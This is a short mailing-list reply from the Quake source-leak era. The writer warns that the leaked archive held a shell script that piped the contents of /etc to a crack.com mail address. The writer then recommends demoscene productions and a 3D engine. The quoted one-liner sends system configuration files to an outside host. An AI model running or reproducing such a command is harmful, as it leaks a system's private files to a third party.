Subject: Re: How the Quake source got out...
Precedence: bulk

First off, I know that it was somebody off of crack.com, because there was a
shellscript in the quakesrc.zip that said "cat /etc/* | mail (can't remember
the name)@crack.com," and had a few other bits of info about your system mailed
to him...  I obviously didn't run it, but I'm sure a few thousand less
intelligent users just had everything this guy needs to hack their site hand
delivered to him.

Second, I have seen better source code...  check out
ftp.cdrom.com:/pub/demos/demos/1997 for TONS of stuff that blows away Quake.
For example, 303 by acme, or even stuff from a few years ago, like Inside by
CNCD or Machines of Madness by Dubius...  Incidentally, the 3D engine for
Inside is available for licensing...  http://hybrid.org/surrender for info,
this engine really rules.
